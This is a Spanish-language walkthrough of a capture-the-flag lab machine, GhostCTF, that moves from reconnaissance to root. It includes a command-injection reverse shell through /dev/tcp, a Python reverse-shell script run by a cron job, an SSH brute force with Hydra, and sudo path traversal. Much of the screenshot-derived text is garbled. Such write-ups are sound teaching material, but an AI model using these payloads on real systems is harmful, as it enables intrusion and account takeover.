Walkthrough GhostCTF



resolución de máquina GhostCTF (Hacking Ético)

ÍNDICE

. RECONOCIMIENTO	. 3
• #FLAG1	. 6
2. USUARIO WWW-DATA	. 9
• #FLAG2	10
B. USUARIO E1I0T	11
USUARIO ANON1M8T0	13
• #FLAG3	15
S. USUARIO CASPER	16
S. USUARIO ROOT	18
• #FLAG4	18

1. RECONOCIMIENTO

```
(kali@ kali)-[~/Desktop]
$ nmap -sn 192.168.28.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 22:06 CEST
Nmap scan report for 192.168.28.1
Host is up (0.00062s latency).
Nmap scan report for 192.168.28.4
Host is up (0.000093s latency).
Nmap scan report for 192.168.28.11
Host is up (0.00060s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.72 seconds
```

Lo primero en mi caso es ver que dirección IP tiene la maquina victima



Después de saber su IP le tiro un escaneo de puertos para saber algunas posibles vulnerabilidades que pueda tener o saber que puertos estan abiertos para poder aprovecharlos

Sabiendo que tiene corriendo un apache, podemos tirarle un "dirb" para saber qué directorios o archivos web tienen por la red dentro de este apache

_				
۵	GhostCTF - Hacking F			
÷	→ C ŵ		🔿 🔒 192.168.28.11	
🌂 Ka	li Linux 🛭 🔒 Kali Tools	🧧 Kali Do	cs 🛚 🕱 Kali Forums 🛛 🤻 Kali NetHunter	🛸 Exploit-DB 🛸 Google Hacking DB () OffSec
				root@dbostctf'-#ning -c 1 example com
				PING example.com (93.184.216.34) 56(84) bytes of data. 64 bytes from 93.184.216.34:
				Eiecutar Comando Limpiar Salida

Si ponemos la dirección IP de la maquina victima y no le especificamos el puerto no redirigirá al puerto 80 que es el que viene por defecto en el cual está corriendo el apache (Una página web) con esto ya podemos investigarla para sacar posibles credenciales o vulnerabilidades

$\leftarrow \rightarrow$ C $\widehat{\square}$ () $\stackrel{>}{\ge}$ 192.168.28.11/robots.txt	
🔍 Kali Linux p Kali Tools 💆 Kali Docs 🐹 Kali Forums 🯹 Kali NetHunter 🍬 Exploit-DB 📥 Goog	le Hack
<pre>###### ###### ###### ###### ###### #####</pre>	

En el "dirb" nos puso que habia un robots.txt que es donde se encuentran las ubicaciones de directorios web que no quieren que indexen los navegadores (esto si esta la palabra Disallow que significa que no lo indexen) pero en este caso vemos una vulnerabilidad o un fallo que nos muestra 3 rutas completas pero no en todas podemos acceder ya que es una trampa para que perdamos tiempo, solo hay 1 de la que es real aqui dentro y es "/FLAG.txt"

#FLAG1

۵	192.	168.28	3.11/FLAG.tx	t ×	+			
←		С	۵		O 🍾 19	2.168.2	8.11/FLAG.txt	
^ع م Ka	ali Linu	😵 😵	Kali Tools	🧧 Kali Do	s 📉 Kali I	Forums	Kali NetHunter	🛳 Exploit-DI
## # ## ## ## ##	#	### ## ## ## ##	#### ## ###### ## ##	### ## ## ## ##### ##### ##### #####	## #### ## ## ##			
Alrig	ht, y	ou hav	e the 1/4	flag				
This flag is worth 10 points								
You s	tart	somewh	ere, you a	lready hav	e your fir	st flag,	keep it up!	

Si le damos a la flag veremos el contenido de la misma

root@ghostctf:~#cat README.txt d05notfound							
	Ejecutar Comando	Limpiar Salida					

Pero si volvemos a la pagina principal y le damos al botón "Ejecutar Comando" van a pasar varios comandos y entre ellos el que nos interesa es en el que pone "cat README.txt" y su contenido vemos que pone "d05notfound" por lo que lo ingresamos en el http por que es una carpeta que no se encuentra en el "dirb"

٠	GhostCTF - Hacking Ético ×	+	
←	ightarrow C $ m (a)$	O 👌 192.168.28.11/d05notfound/d05notfound.php	
"~, K	Kali Linux 🛛 Rali Tools 🧧 Kali Docs	cs 🕱 Kali Forums 🧖 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🌗 OffSec	
		GhostCTF - Hacking Ético Ingresa tu IP: Ingresa una IP Envier	

Una vez dentro de la página oculta hay un cuadro en el que pone que ingresemos nuestra IP, por lo que parece que hace un ping de primeras...

	GhostCTF - Hacking Ético
	Ingresa tu IP:
	192.168.28.4
	Enviar
Ping exitoso a PING 192.168.28 64 bytes from 19	la IP: 192.168.28.4 .4 (192.168.28.4) 56(84) bytes of data. 92.168.28.4: icmp_seq=1 ttl=64 time=0.335 ms
192.168.28.4 1 packets transm rtt min/avg/max,	4 ping statistics mitted, 1 received, 0% packet loss, time 0ms /mdev = 0.335/0.335/0.335/0.000 ms
Error al ejec	cutar el comando:
Valor de retorno Salida del comar Pseudo-terminal @@@@@@@@@@@@@@@@ @ WARNII @@@@@@@@@@@@@@@@ Permissions 0644 It is required f This private key Load key "/var/ Permission denie Permission denie www-data@192.166	o del comando: 255 ndo: will not be allocated because stdin is not a terminal. accoccoccoccoccoccoccoccoccoccoccoccocco

Al probar a meter nuestra IP se ve que nos muestra un mensaje de que hace ping, pero esto lo podemos aprovechar para enlazarlo con otros comandos que se ejecutarán en la terminal del servidor de la maquina victima



Probamos a ver /etc/passwd para asi ver que usuarios hay por si acaso

Ingresa tu IP:	
192.168.28.4 /bin/bash -i >& /dev/tcp/192.168.28.4/7777 0>&1	
Enviar	

Pero lo que haremos será ejecutar una "Reverse Shell" con la IP de nuestro Host y el puerto que queramos enlazando lo con ese comando ya que hemos comprobado que el "cat" lo lee perfectamente, pero antes de ejecutar ese comando nos ponemos a la escucha mediante nuestro "host"



Una vez estando a la escucha lo ejecutamos...

2. USUARIO WWW-DATA



Una vez que lo ejecutemos la pestaña se quedara pensando y nos creara una shell con el usuario por defecto de la web "www-data"

						-		
www-data@gl	105	stctf:/	/home/e	eli0t\$	\$ls	-la	a	
ls -la								
total 40								
drwxr-xr-x	5	e1i0t	e1i0t	4096	abr	3	18:54	
drwxr-xr-x	5	root	root	4096	abr	3	17:36	backup
-rw	1	e1i0t	e1i0t	236	abr	4	19:39	.bash_history
-rw-rr	1	e1i0t	e1i0t	220	abr	1	19:05	.bash_logout
-rw-rr	1	e1i0t	e1i0t	3771	abr	1	19:05	.bashrc
drwx——	2	e1i0t	e1i0t	4096	abr	1	19:12	.cache
-rw-rr	1	root	root	460	abr	3	18:02	FLAG.txt
drwxrwxr-x	3	e1i0t	e1i0t	4096	abr	3	18:54	.local
-rw-rr	1	e1i0t	e1i0t	807	abr	1	19:05	.profile
drwxr-xr-x	2	root	root	4096	abr	3	18:25	www-data system

Nos vamos a la /home de "e1i0t" y observamos que contiene

#FLAG2

www-da	ata@ghostctf:,	/home/e1i	.0t\$ cat FL	.AG.txt	sync:x:4:65534:sync:/bin:/	
cat Fi	LAG.TXT					
###	# ###			##		
### \$	## ##			####		
#	##	####	### ##	####		
####	##	##	## ##	##		
##	##		## ##	##		
##	##	## ##	#####			
####		*****	##	##		
			#####			
Verv s	ood. vou have	e flag 2/	4			
,	5004, 904 1141					
This d	flag is worth	20 noint	` S			
	1005 10 00100	20 point	.5			
I see that you found half of the flags you are getting less and less hehe						
	,			,- ,		

Leemos la flag...

www-data@ghostctf:/home/e1i0t\$ cd www-data/ cd www-data/	
www-data@ghostctf:/home/e1i0t/www-data\$ ls -la ls -la	
total 12	
drwxr-xr-x 2 root root 4096 abr 3 18:25 .	
drwxr-xr-x 5 e1i0t e1i0t 4096 abr 3 18:54	
-rw-rr 1 root root 655 abr 3 18:25 passw	d.txt _{imes:x:5:60:games:/usr/games:/usr/sbin/nologin}
www-data@ghostctf:/home/e1i0t/www-data\$ cat pass	wd.txt::x:6:12:man:/var/cache/man:/usr/sbin/nologin
cat passwd.txt	
###	news:x ## :9:news:/var/spool/news:/usr/sbin/nologin
##	uucp:>##0:10:uucp:/var/spool/uucp:/usr/sbin/nologin
## ## ## ## ## ##	### proxy######:13:p#####:/bin:/usr/sbin/nologin
## # ## ## # ## ## ## ################	###/ww-da###:x:33:33:w### data:/yar/www:/bin/bash
	#####ackup###34:34 ########:/var/backups:/usr/sbin/nologin
	📲 1st://##s###:M###Cl###Cl###Clst Manager://var/(Lst:/usr/sbin/n
## ## ## ## ## ## ## ###	#####`````````````````````````````````
I'm going to give you a clue as to where this us	er e1i0t password may be
Have you tried using a smaller dictionary with t	he hydra tool that is inside the metasploit folder?

nos metemos en la carpeta "www-data/" visualizamos el archivo passwd.txt y veremos qué nos dice que sí hemos probado a utilizar básicamente el unix_password.txt de metasploit el diccionario de fuerza bruta

<pre>(kali@kali)-[~/Desktop]</pre>	
hydra -l e1i0t -P /usr/share/wordlists/metasplo	it/unix_passwords.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Macie	jak - Please do not use in military or secret service organiza
anyway).	
Hydra (https://github.com/vanhauser-thc/thc-hydra) :	starting at 2024-04-04 22:19:47
[WARNING] Many SSH configurations limit the number of [DATA] max 64 tasks per 1 server, overall 64 tasks, [DATA] attacking ssh://192.168.28.11:22/	of parallel tasks, it is recommended to reduce the tasks: use 1009 login tries (l:1/p:1009), ~16 tries per task
[STATUS] 359.00 tries/min, 359 tries in 00:01h, 676	to do in 00:02h, 38 active
[STATUS] 307.00 tries/min, 614 tries in 00:02h, 432	to do in 00:02h, 27 active
[STATUS] 249.67 tries/min, 749 tries in 00:03h, 297	lto_do_in_00:02h,127 active_28.4
[STATUS] 221.00 tries/min, 884 tries in 00:04h, 162	lto/dolinl00:01h,(27 active 4) 56(84) bytes of data.
<pre>[22][ssh] host: 192.168.28.11 login: e1i0t pass</pre>	word: tautumn 192.168.28.4: icmp_seq=1 ttl=64 time=0.288 ms
1 of 1 target successfully completed, 1 valid passwo	ord found
[WARNING] Writing restore file because 23 final work [ERROR] 23 targets did not resolve or could not be a [ERROR] 0 target did not complete	ker threads did not complete until end. connected
Hydra (https://github.com/vanhauser-thc/thc-hydra)	finished at 2024-04-04 22:24:07
[

Una vez sacado la contraseña del usuario mencionado con ese diccionario veremos la contraseña "autumn"

3. USUARIO E1I0T

<pre>(kali@kali)-[~/Desktop] \$ ssh e1i0t@192.168.28.11 e1i0t@192.168.28.11's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Ling)</pre>	ux 5.15.0-101-generic x86_64)								
<pre>* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro</pre>									
System information as of jue 04 abr	2024 20:26:08 UTC								
System load: 0.00537109375 Prod Usage of /: 51.3% of 9.75GB User Memory usage: 13% IPv4 Swap usage: 0%	esses: 123 s logged in: 1 address for enp0s3: 192.168.28.11								
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.									
https://ubuntu.com/engage/secure-ku	bernetes-at-the-edge								
El mantenimiento de seguridad expandio	o para Applications está desactivado								
Se pueden aplicar 18 actualizaciones o Para ver estas actualizaciones adicion	e forma inmediata. ales, ejecute: apt listupgradable								
Active ESM Apps para recibir futuras a Vea https://ubuntu.com/esm o ejecute «	ctualizaciones de seguridad adicionales. sudo pro status»								
Last login: Wed Apr 3 14:25:17 2024 + eli0t@ghostctf:~\$	rom 192.168.28.4 stx:9:9:news:/var/spool/news: uucptx:10:10:uucp:/var/spool/news proxy:x:13:13:proxy:/bin:/usr/sh								

Nos conectamos a el...

tctf:/tmp\$ nano script.p
tctf:/tmp\$ cat script.py

eli0t@ghostctf:/var/spool/cron/crontabs\$ cat an0n1m8t0 # DO NOT EDIT THIS FILE - edit the master and reinstall. # (/tmp/crontab.JjQU39/crontab installed on Wed Apr 3 18:51:01 2024) # (Cron version -- \$Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp \$) # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task Ħ # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any'). # # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # #mh dom mon dow command */5 * * * * /usr/bin/python3 /tmp/script.py

Dentro de este usuario nos dirigimos a los "crontabs" en el cual encontraremos que hay una tarea ejecutándose autenticado como el usuario "an0n1m8t0" y pone que se esta ejecutando un archivo llamado script.py en /tmp/

e1i0t@ghostctf:/var/spool/cron/crontabs\$ cd /tmp/ e1i0t@ghostctf:/tmp5 ls snap-private-tmp systemd-private-2ea34b296fd04e398df50925809d065f-systemd-logind.service-MrdZh6 systemd-private-2ea34b296fd04e398df50925809d065f-systemd-resolved.service-wb00HK systemd-private-2ea34b296fd04e398df50925809d065f-systemd-timesyncd.service-5qyraK

Vemos que es .py no está creado, por lo que lo creamos nosotros y escribimos lo que creamos para escalar privilegios la cual se va a ejecutar cada 5 minutos

en mi caso hare una "Reverse Shell" para que cuando se ejecute y estando a la escucha se me cree una shell autenticada como el usuario dicho anteriormente

on desde el script de Python c', 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((*192.168.28.4*, 7777)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1 nt fut: att.saman(*bin/sh^{*})'l) Script.py:

import subprocess

Ejecutar el comando de Python desde el script de Python subprocess.run(['python3', '-c', 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.28.4", 7777)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("/bin/sh")'])

Ahora estando a la escucha mientras esperamos a que ese .py se ejecuta para que nos devuelva la shell

4. USUARIO AN0N1M8T0

(kali@ kali)-[~/Desktop] \$ nc -lvnp 7777 listening on [any] 7777 ... connect to [192.168.28.4] from (UNKNOWN) [192.168.28.11] 49992 \$ whoami whoami an@n1m8t0

Al rato veremos que nos la devuelve...

\$ cd an0n1m cd an0n1m81 \$ ls -la ls -la	n81 10	tØ						<pre>mail:x:8:8:mail:/va news:x:9:9:news:/va uucp:x:10:10:uucp:/ proxy:x:13:13:proxy</pre>
total 36								
drwxr-x	3	an0n1m8t0	an0n1m8t0	4096	abr	3	18:50	
drwxr-xr-x	5	root	root	4096	abr	3	17:36	list:x:38:38:Mailin
-rw	1	an0n1m8t0	an0n1m8t0	1036	abr	4	19:38	.bash_history
-rw-rr	1	an0n1m8t0	an0n1m8t0	220	abr	1	19:07	.bash_logout
-rw-rr	1	an0n1m8t0	an0n1m8t0	3771	abr	1	19:07	.bashrc
-rw-rr	1	root	root	86	abr	3	18:04	less.txt
drwxrwxr-x	3	an0n1m8t0	an0n1m8t0	4096	abr	3	18:50	.local
-rw-rr	1	an0n1m8t0	an0n1m8t0	807	abr	1	19:07	.profile
-rw-rw-r	1	an0n1m8t0	an0n1m8t0	66	abr	3	18:50	.selected_editor

inspeccionamos que contiene la carpeta de este usuario



Al leer el less.txt vemos que nos dice que busquemos mejor en las carpetas para encontrar algo que podamos leer un "secreto"



Al hacer "sudo -l" vemos que tenemos permiso para leer lo que sea dentro de la carpeta /secret/, pero se puede hacer un truco y salirte de esa carpeta entrando en ella a la vez, algo tal que así... "sudo cat /secret/../home/etc..." esto lo que va hacer es que se va a comportar como que está entrando en la carpeta y saliendo de la misma a la vez y asi te dejara leer lo que sea

#FLAG3

ls /secret/ FLAG.txt README.txt \$ sudo cat /secret/FLAG.txt sudo cat /secret/FLAG.txt		Enviar Ping exitoso a la IP: 192.168.28.4 PING 102 168 28.4 (102 168 28.4) S5(84) hutes of data
1000 1000 <th< th=""><th>## ############# ############# ########</th><th></th></th<>	## ############# ############# ########	
****** *******************************	### ### ######	
Very good, you have the 3/4 This flag is worth 20 points	flag.	
<pre>If you managed to get this f \$ sudo cat /secret/README.tx sudo cat /secret/README.txt</pre>	ar it means that you ar t	e only one step away from getting the last flag and thus being root, good luck!!
###### ###### ###### ## ## ## ## ## ###### ###### ###### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##### ###### ###### ##### ###### ###### ###### ####### ###### ###### ####### #######	### ## ## ## ## ## ##### ## ## ## ## ##	<pre>proxy.x:13:13:proxy./bit/dsr/3bit/mologit www.dsta:x13:13:www.dsta:/var/dwws/bit/bish backup:x2:43:43:backup:/var/dsta:/bit/mologin # fst:x138:39:Mailing List Manager:/var/list:/usr/sbit/mologin # fst:x138:39:Mailing List Manager:/var/list:/usr/sbit/mologin moto:x41:41:dstats:Bud Reporting System (admin):/var/lib/gmais:/usr/sbit/mologin moto:x41:00:05534:s/monexistent:/usr/sbit/mologin # apt:x100:05534:s/monexistent:/usr/sbit/mologin systemd-network:x1101:102:systemd Network Management,,://run/systemd:/usr/sbit/mologin avstemd-network:x1101:102:systemd Network Management,::/run/systemd:/usr/sbit/mologin systemd-network:x1101:102:systemd Network Management.</pre>

Listando la carpeta de /secret/ vemos 2 archivos y los leemos, una es 1 flag y la otra es una pista...

\$ ls -	-la												
İs −la	a												
total	20												
drwxr-	-xr-x	5	root	root	4096	abr	3	17:36					
drwxr-	-xr-x	21	root	root	4096	abr	3	14:45					
drwxr-	-x—	3	an0n1m8t0	an0n1m8t0	4096	abr	3	18:50	an0n1m8	t0 .			
drw—		4	casper	casper	4096	abr	3	18:13	.casper				
drwxr-	-xr-x	5	e1i0t	e1i0t	4096	abr	3	18:54	e1i0t				
lrwxrw	vxrwx	1	root	root	20	abr	3	17:36	escalat	e.tx	t→	.casper/escalate.txt	
\$ sudo	o cat	/se	cret//ho	ome/escala	te.txt	-							
sudo (cat /s	secr	et//home	e/escalate	.txt								
												/###cache/man:/usr/sbin/nologin	
												/s##bl/lpd:/usr/sbin/nologin	
#####	##	###	# ####	+# #####	# ##	t #4	ŧ	####	nail#####	##: na		/v##/mail:/usr/sbin/nologin	
##	##		## ##	##	##	:##	ŧ	## ##	hews: ### 9	:##	ws ##	#### /spool/news:/usr/sbin/nologi	
##	##	###	## ####	+# #####	# ##		ŧ	## ##	tiucp: ## 1		u##p	p: ## ar/spool/uucp:/usr/sbin/nolo	
####	¥# \$	## :	##	## 1	## ##	. <i></i>	ŧ	## ##	proxy ## :		ः##	ox ## /bin:/usr/sbin/nologin	
##		###	## #####	+# ######	# #	###		####	0000 - 11 11 11 11		_ ##	////// lata:/var/www:/bin/bash	
#####													
You di	iscove	ered	this file	e, what I'r	n goir	ng to	gi	ve you	is the	pas	swor	rd of the casper user	
User:	caspe	er											
Passwo	ord: 1	fant	asmacXX										
The la	ast ">	KX"	have to be	e changed t	to let	ters	of	the a	lphabet	, go	od l	luck!4:105:systemd Time Synchron	

Haciendo el truco que conté antes podemos leer ese enlace simbólico que está en la /home la cual nos dice una pista para sacar la contraseña del otro usuario "casper"



Una vez que hayamos creado el diccionario y sacado las claves a "casper" nos conectamos por ssh

5. USUARIO CASPER

└_\$ ssh casper@192.168.28.11

System information as of jue 04 abr 2024 21:12:01 UTC System load: 0.0 184 Processes: 51.4% of 9.75GB Usage of /: Users logged in: 2 Memory usage: 18% IPv4 address for enp0s3: 192.168.28.11 Swap usage: 0% * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge El mantenimiento de seguridad expandido para Applications está desactivado Se pueden aplicar 18 actualizaciones de forma inmediata. Para ver estas actualizaciones adicionales, ejecute: apt list -- upgradable Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales. Vea https://ubuntu.com/esm o ejecute «sudo pro status» The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Apr 4 13:29:25 2024 from 192.168.28.4 Could not chdir to home directory /home/casper: No such file or directory To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. casper@ghostctf:/\$

Una vez dentro investigamos...



Vemos que al hacer "sudo -l" tenemos todos los permisos para ser "root"

6. USUARIO ROOT

casper@ghostctf:/\$ sudo su root@ghostctf:/#

#FLAG4

root@ghost@	:tf:~# l	s -la							
total 52									
drwx——	6 root	root	4096	abr	3	18:47			
drwxr-xr-x	21 root	root	4096	abr	3	14:45			
-rw	1 root	root	6305	abr	4	20:35	.bash_his	tory	
-rw-rr	1 root	root	3106	oct	15	2021	.bashrc		
drwx——	2 root	root	4096	abr	1	19:03	.cache		
-rw-rr	1 root	root	492	abr	3	17:58	FLAG.txt		
-rw	1 root	root	20	abr	1	19:18	.lesshst		
drwxr-xr-x	3 root	root	4096	abr	1	19:09	.local		
-rw-rr	1 root	root	161	jul	9	2019	.profile		
-rw-rr	1 root	root	66	abr	3	18:47	.selected	_editor	
drwx——	3 root	root	4096	abr	1	12:32	snap		
drwx——	2 root	root	4096	abr	1	12:32	.ssh		
root@ghost@	:tf:~# c	at FLA	G.tx1	t					
###	###					##			
## ##	##					####	ţ		
#	##	####		###	##	####	ŧ		
####	##	#	# 1	## 1	##	##			
##	##	####	# 1	## 1	##	##			
##	##	## #	#	###	##				
####	####	####	#	4	##	##			
			\$	 	#				
Very good,	you hav	e the	4/4 1	flag					
This flag i	is worth	30 po	ints						
Congratulat	ions‼	you ma	nageo	d to	hao	ck my n	nachine, y	ou are a crack /	
Code: Q29ka	WdvOiBn	aG9zdH	Jlc3\	/lbн	Rv				

Una vez siendo "root" leemos la última flag y con esto ya estaria echa la maquina jeje

GRACIAS POR HABER PARTICIPADO EN MI MINIJUEGO DE HACKING ÉTICO